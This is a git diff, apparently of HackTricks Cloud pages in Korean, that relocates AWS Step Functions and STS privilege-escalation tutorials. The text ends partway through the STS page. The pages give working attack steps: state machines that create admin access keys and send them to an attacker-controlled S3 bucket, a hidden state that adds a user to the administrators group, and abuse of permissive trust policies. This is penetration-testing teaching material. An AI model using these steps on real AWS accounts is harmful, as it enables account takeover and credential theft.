제거할 수 있습니다. Permission Boundary에서 제공된 권한 세트의 제한을 제거함으로써 **더 많은 권한을 부여할 수 있습니다**. +이 권한을 가진 공격자는 Permission Boundary를 Permission Set에서 제거할 수 있습니다. Permission Boundary에서 부여한 Permission Set의 제약을 제거하면 **Permission Set의 제약을 해제하여 더 많은 권한을 얻을 수 있습니다**. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md deleted file mode 100644 index 0b5979749..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - Step Functions Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Task Resources - -이 권한 상승 기술은 원하는 권한 상승 작업을 수행하기 위해 일부 AWS 스텝 함수 리소스를 사용해야 합니다. - -모든 가능한 작업을 확인하려면 자신의 AWS 계정으로 가서 사용하고 싶은 작업을 선택하고 사용하는 매개변수를 확인할 수 있습니다, 예를 들어: - -
- -또는 API AWS 문서로 가서 각 작업 문서를 확인할 수도 있습니다: - -- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) -- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) - -### `states:TestState` & `iam:PassRole` - -**`states:TestState`** 및 **`iam:PassRole`** 권한을 가진 공격자는 기존 상태 기계를 생성하거나 업데이트하지 않고도 모든 상태를 테스트하고 IAM 역할을 전달할 수 있으며, 이는 역할의 권한으로 다른 AWS 서비스에 대한 무단 액세스를 가능하게 할 수 있습니다. 이 권한이 결합되면 워크플로를 조작하여 데이터를 변경하거나 데이터 유출, 리소스 조작 및 권한 상승과 같은 광범위한 무단 작업으로 이어질 수 있습니다. -```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] -``` -다음 예제는 이러한 권한과 AWS 환경의 관대한 역할을 활용하여 **`admin`** 사용자에 대한 액세스 키를 생성하는 상태를 테스트하는 방법을 보여줍니다. 이 관대한 역할은 **`iam:CreateAccessKey`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다: - -- **stateDefinition.json**: -```json -{ -"Type": "Task", -"Parameters": { -"UserName": "admin" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"End": true -} -``` -- **Command** 실행하여 권한 상승을 수행: -```bash -aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole - -{ -"output": "{ -\"AccessKey\":{ -\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", -\"CreateDate\":\"2024-07-09T16:59:11Z\", -\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", -\"Status\":\"Active\", -\"UserName\":\"admin\" -} -}", -"status": "SUCCEEDED" -} -``` -**Potential Impact**: 무단으로 워크플로우를 실행하고 조작하며 민감한 리소스에 접근할 수 있어, 심각한 보안 위반으로 이어질 수 있습니다. - -### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) - -**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 무단으로 접근할 수 있습니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다). -```bash -# Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] - -# Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] - -# Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] -``` -다음 예제는 **`admin`** 사용자에 대한 액세스 키를 생성하고 이 액세스 키를 공격자가 제어하는 S3 버킷으로 유출하는 상태 기계를 만드는 방법을 보여줍니다. 이는 이러한 권한과 AWS 환경의 관대한 역할을 활용합니다. 이 관대한 역할은 상태 기계가 **`iam:CreateAccessKey`** 및 **`s3:putObject`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다. - -- **stateMachineDefinition.json**: -```json -{ -"Comment": "Malicious state machine to create IAM access key and upload to S3", -"StartAt": "CreateAccessKey", -"States": { -"CreateAccessKey": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"Parameters": { -"UserName": "admin" -}, -"ResultPath": "$.AccessKeyResult", -"Next": "PrepareS3PutObject" -}, -"PrepareS3PutObject": { -"Type": "Pass", -"Parameters": { -"Body.$": "$.AccessKeyResult.AccessKey", -"Bucket": "attacker-controlled-S3-bucket", -"Key": "AccessKey.json" -}, -"ResultPath": "$.S3PutObjectParams", -"Next": "PutObject" -}, -"PutObject": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:s3:putObject", -"Parameters": { -"Body.$": "$.S3PutObjectParams.Body", -"Bucket.$": "$.S3PutObjectParams.Bucket", -"Key.$": "$.S3PutObjectParams.Key" -}, -"End": true -} -} -} -``` -- **Command** executed to **create the state machine**: -```bash -aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole -{ -"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", -"creationDate": "2024-07-09T20:29:35.381000+02:00" -} -``` -- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행되었습니다: -```json -aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine -{ -"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", -"startDate": "2024-07-09T20:33:35.466000+02:00" -} -``` -> [!WARNING] -> 공격자가 제어하는 S3 버킷은 피해자 계정으로부터 s3:PutObject 작업을 수락할 수 있는 권한을 가져야 합니다. - -**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스에 대한 접근, 이는 심각한 보안 위반으로 이어질 수 있습니다. - -### `states:UpdateStateMachine` & (항상 필요하지 않음) `iam:PassRole` - -**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 기계의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 기계의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다. - -상태 기계와 연결된 IAM 역할이 얼마나 관대하냐에 따라 공격자는 2가지 상황에 직면할 수 있습니다: - -1. **관대한 IAM 역할**: 상태 기계와 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 기계 정의만으로도 충분하기 때문입니다. -2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 기계 정의를 수정하는 것 외에도 상태 기계에 관대한 IAM 역할을 연결하기 위해 **`iam:PassRole`** 권한이 필요합니다. -```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] -``` -다음 예제는 HelloWorld Lambda 함수를 호출하는 정당한 상태 머신을 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 정당한 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공적으로 이루어집니다. - -> [!WARNING] -> 상태 머신에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 **`iam:PassRole`** 권한도 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할). - -{{#tabs }} -{{#tab name="Legit State Machine" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} - -{{#tab name="악의적인 업데이트된 상태 머신" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "AddUserToGroup" -}, -"AddUserToGroup": { -"Type": "Task", -"Parameters": { -"GroupName": "administrator", -"UserName": "unprivilegedUser" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} -{{#endtabs }} - -- **명령어** 실행하여 **정상 상태 머신**을 **업데이트**: -```bash -aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json -{ -"updateDate": "2024-07-10T20:07:10.294000+02:00", -"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" -} -``` -**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스에 대한 접근, 이는 잠재적으로 심각한 보안 위반으로 이어질 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md new file mode 100644 index 000000000..eb973f923 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -0,0 +1,231 @@ +# AWS - Step Functions Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +For more information about this AWS service, check: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Task Resources + +이러한 권한 상승 기법은 원하는 권한 상승 작업을 수행하기 위해 일부 AWS Step Functions 리소스를 사용해야 합니다. + +가능한 모든 action을 확인하려면 자신의 AWS 계정에서 사용하려는 action을 선택하고 해당 action이 사용하는 파라미터를 확인할 수 있습니다. 예시는 다음과 같습니다: + +
+ +또는 API AWS 문서를 방문해 각 action의 문서를 확인할 수도 있습니다: + +- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) +- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) + +### `states:TestState` & `iam:PassRole` + +An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. +```bash +aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +``` +다음 예제는 이러한 권한과 AWS 환경의 permissive role을 활용하여 **`admin`** 사용자에 대한 access key를 생성하는 state를 테스트하는 방법을 보여줍니다. 이 permissive role에는 state가 **`iam:CreateAccessKey`** 작업을 수행할 수 있도록 허용하는 높은 권한의 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다: + +- **stateDefinition.json**: +```json +{ +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true +} +``` +- **명령** privesc를 수행하기 위해 실행된: +```bash +aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole + +{ +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" +} +``` +**Potential Impact**: 워크플로우의 무단 실행 및 조작과 민감한 리소스에 대한 접근을 초래하여 심각한 보안 침해로 이어질 수 있습니다. + +### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) + +공격자는 **`states:CreateStateMachine`**& **`iam:PassRole`** 권한을 통해 상태 머신을 생성하고 임의의 IAM 역할을 할당할 수 있으며, 해당 역할의 권한으로 다른 AWS 서비스에 무단 접근할 수 있습니다. 이전 privesc 기법(**`states:TestState`** & **`iam:PassRole`**)과 대조적으로, 이 기법은 자체적으로 실행되지 않으므로 상태 머신의 실행을 시작하려면 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **standard workflows에서는 사용 불가**, **state machines를 표현하기 위한 것에만 해당**). +```bash +# Create a state machine +aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] + +# Start a state machine execution +aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] + +# Start a Synchronous Express state machine execution +aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +``` +다음 예제는 **`admin`** 사용자에 대한 액세스 키를 생성하고, 이 액세스 키를 공격자가 제어하는 S3 버킷으로 유출하는 state machine을 생성하는 방법을 보여줍니다. 이는 이러한 권한들과 AWS 환경의 권한이 넉넉한 역할(permissive role)을 이용합니다. 이 권한이 넉넉한 역할에는 state machine이 **`iam:CreateAccessKey`** 및 **`s3:putObject`** 작업을 수행할 수 있도록 허용하는 고권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다. + +- **stateMachineDefinition.json**: +```json +{ +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} +} +``` +- **Command**는 **state machine 생성**을 위해 실행됨: +```bash +aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole +{ +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" +} +``` +- 이전에 생성된 state machine의 **start an execution**을 위해 실행된 **Command**: +```json +aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine +{ +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" +} +``` +> [!WARNING] +> 공격자가 제어하는 S3 버킷은 피해자 계정으로부터 s3:PutObject 작업을 수락할 수 있는 권한을 가져야 합니다. + +**잠재적 영향**: 워크플로우의 무단 실행 및 조작과 민감한 리소스 접근으로 이어져 심각한 보안 침해가 발생할 수 있습니다. + +### `states:UpdateStateMachine` & (항상 필요한 것은 아님) `iam:PassRole` + +`states:UpdateStateMachine` 권한을 가진 공격자는 상태 머신의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 스텔스 상태를 삽입할 수 있습니다. 이렇게 하면 합법적인 사용자가 상태 머신 실행을 시작할 때 이 악성 스텔스 상태가 실행되어 권한 상승이 성공합니다. + +상태 머신에 연결된 IAM Role의 권한 범위에 따라 공격자가 직면하는 상황은 두 가지입니다: + +1. **Permissive IAM Role**: 상태 머신에 연결된 IAM Role이 이미 광범위한 권한을 가지고 있는 경우(예: `arn:aws:iam::aws:policy/AdministratorAccess` 정책이 연결된 경우), 권한 상승을 위해 `iam:PassRole` 권한이 필요하지 않습니다. 상태 머신 정의만으로 충분합니다. +2. **Not permissive IAM Role**: 이전 경우와 달리, 이 경우 공격자는 상태 머신 정의를 수정하는 것 외에도 상태 머신에 더 권한이 넓은 IAM Role을 연결해야 하므로 `iam:PassRole` 권한이 필요합니다. +```bash +aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] +``` +다음 예시는 HelloWorld Lambda 함수를 호출하는 정상적인 state machine을 업데이트하여, 추가 상태를 삽입해 사용자 **`unprivilegedUser`**를 **`administrator`** IAM Group에 추가하는 방법을 보여준다. 이렇게 하면 정상 사용자가 업데이트된 state machine의 실행을 시작할 때 이 새로운 악성 은닉 상태가 실행되어 권한 상승이 성공한다. + +> [!WARNING] +> state machine에 폭넓은 권한을 가진 IAM Role이 연결되어 있지 않은 경우, 폭넓은 권한의 IAM Role을 연결하기 위해 IAM Role을 업데이트하려면 **`iam:PassRole`** 권한도 필요하다(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 Role). + +{{#tabs }} +{{#tab name="Legit State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} + +{{#tab name="Malicious Updated State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} +{{#endtabs }} + +- **명령**이 **정상적인 state machine**을 **업데이트**하기 위해 실행됨: +```bash +aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json +{ +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +``` +**잠재적 영향**: 워크플로우의 무단 실행 및 조작과 민감한 리소스 접근으로 인해 심각한 보안 침해로 이어질 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index 2eb68a660..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -모든 역할은 **역할 신뢰 정책**과 함께 생성됩니다. 이 정책은 **누가 생성된 역할을 assume할 수 있는지**를 나타냅니다. 같은 계정(**same account**)의 역할이 특정 계정이 자신을 assume할 수 있도록 허용하면, 그 계정은 해당 역할에 접근할 수 있게 되고(잠재적으로 **privesc**) 합니다. - -예를 들어, 다음 역할 신뢰 정책은 누구나 해당 역할을 assume할 수 있음을 나타내며, 따라서 **어떤 사용자든 해당 역할에 연결된 권한으로 privesc할 수 있다**. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -다음 명령을 실행하는 역할을 가장할 수 있습니다: -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Potential Impact:** 역할에 대한 Privesc. - -> [!CAUTION] -> 이 경우 권한 `sts:AssumeRole` 는 **남용하려는 역할에 표시되어 있어야** 하며 공격자에게 속한 정책에 있어서는 안 된다는 점에 유의하라.\ -> 예외가 하나 있는데, **다른 계정의 역할을 assume하려면** 공격자 계정도 해당 역할에 대해 **`sts:AssumeRole`** 권한을 **보유해야** 한다. - - -### `sts:AssumeRoleWithSAML` - -이 역할을 가진 신뢰 정책은 **SAML로 인증된 사용자에게 해당 역할을 가장할 수 있는 액세스 권한을 부여한다.** - -이 권한을 가진 신뢰 정책의 예는: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -일반적으로 역할을 사칭하기 위한 자격 증명을 생성하려면 다음과 같은 것을 사용할 수 있습니다: -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -하지만 **공급자들은** 이를 더 쉽게 하기 위해 **자체 도구**를 제공할 수 있습니다. 예: [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Potential Impact:** 역할에 대한 Privesc. - -### `sts:AssumeRoleWithWebIdentity` - -이 권한은 웹 아이덴티티 공급자와 함께 모바일, 웹 애플리케이션, EKS... 등에서 인증된 **사용자들**이 임시 보안 자격증명 세트를 얻을 수 있도록 허용합니다. [자세히 보기.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -예를 들어, **EKS service account**가 **IAM role을 impersonate**할 수 있어야 한다면, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`**에 토큰이 존재하고 다음과 같이 **역할을 assume하고 자격증명을 얻을 수 있습니다**: -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM RolesAnywhere는 AWS 외부의 워크로드가 X.509 certificates를 사용해 IAM roles를 assume할 수 있도록 합니다. 그러나 trust policies가 적절히 범위 지정되지 않으면 privilege escalation에 악용될 수 있습니다. - -이 공격을 이해하려면 trust anchor가 무엇인지 설명해야 합니다. AWS IAM Roles Anywhere의 trust anchor는 신뢰의 루트 엔터티로, 계정에 등록된 Certificate Authority (CA)의 공개 인증서를 포함하여 AWS가 제시된 X.509 certificates를 검증할 수 있도록 합니다. 따라서 client certificate가 해당 CA에서 발급되었고 trust anchor가 활성화되어 있으면 AWS는 이를 유효한 것으로 인식합니다. - -또한 profile은 X.509 certificate의 어떤 속성(CN, OU, or SAN 등)이 session tags로 변환될지를 정의하는 구성이며, 이 태그들은 이후 trust policy의 조건과 비교됩니다. - -이 정책은 어떤 trust anchor나 certificate attributes가 허용되는지에 대한 제한이 없습니다. 결과적으로 계정 내의 어떤 trust anchor에 묶여 있는 어떤 certificate라도 이 role을 assume하는 데 사용할 수 있습니다. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -privesc하려면 `aws_signing_helper`는 https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html 에서 필요합니다. - -그런 다음 유효한 인증서를 사용하면 attacker가 더 높은 권한의 역할로 피벗할 수 있습니다. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -trust anchor는 클라이언트의 `readonly.pem` 인증서가 권한 있는 CA에서 발급되었는지 검증하며, 이 `readonly.pem` 인증서 안에는 AWS가 서명이 대응하는 개인키 `readonly.key`로 만들어졌는지를 검증하는 데 사용하는 공개키가 포함되어 있다. - -인증서는 CN 또는 OU와 같은 속성도 제공하는데, `default` 프로파일이 이를 태그로 변환하며 역할의 trust policy는 이 태그들로 접근 허가 여부를 결정할 수 있다. trust policy에 조건이 없다면, 그 태그들은 아무 쓸모가 없고 유효한 인증서를 가진 누구에게나 접근이 허용된다. - -이 공격이 가능하려면 trust anchor와 `default` 프로파일 둘 다 활성 상태여야 한다. - -### 참고자료 - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..55a2bae3c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,134 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +모든 역할은 **역할 신뢰 정책(role trust policy)**과 함께 생성됩니다. 이 정책은 **누가 생성된 역할을 assume할 수 있는지**를 나타냅니다. 동일한 계정의 역할이 어떤 계정이 이를 assume할 수 있다고 명시하면, 그 계정은 해당 역할에 접근할 수 있게 되고(및 잠재적으로 **privesc**) 권한을 획득할 수 있다는 뜻입니다. + +예를 들어, 다음과 같은 역할 신뢰 정책은 누구나 해당 역할을 assume할 수 있음을 나타내므로, **어떤 사용자든 해당 역할에 연결된 권한으로 privesc할 수 있게 됩니다**. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +다음 명령을 실행하여 역할을 가장할 수 있습니다: +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Potential Impact:** role에 대한 Privesc. + +> [!CAUTION] +> 이 경우 권한 `sts:AssumeRole`는 **남용하려는 role에 명시되어 있어야 하며** 공격자가 소유한 정책에는 있으면 안 됩니다.\ +> 단, 한 가지 예외를 제외하면, **다른 계정의 role을 assume하려면** 공격자 계정은 해당 role에 대해 **또한** **`sts:AssumeRole`**을 보유해야 합니다. + + +### `sts:AssumeRoleWithSAML` + +이 role을 가진 trust policy는 **SAML로 인증된 사용자에게 role을 가장(impersonate)할 수 있는 접근 권한을 부여합니다.** + +An example of a trust policy with this permission is: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +일반적으로 해당 role을 가장하여 자격 증명을 생성하려면 다음과 같은 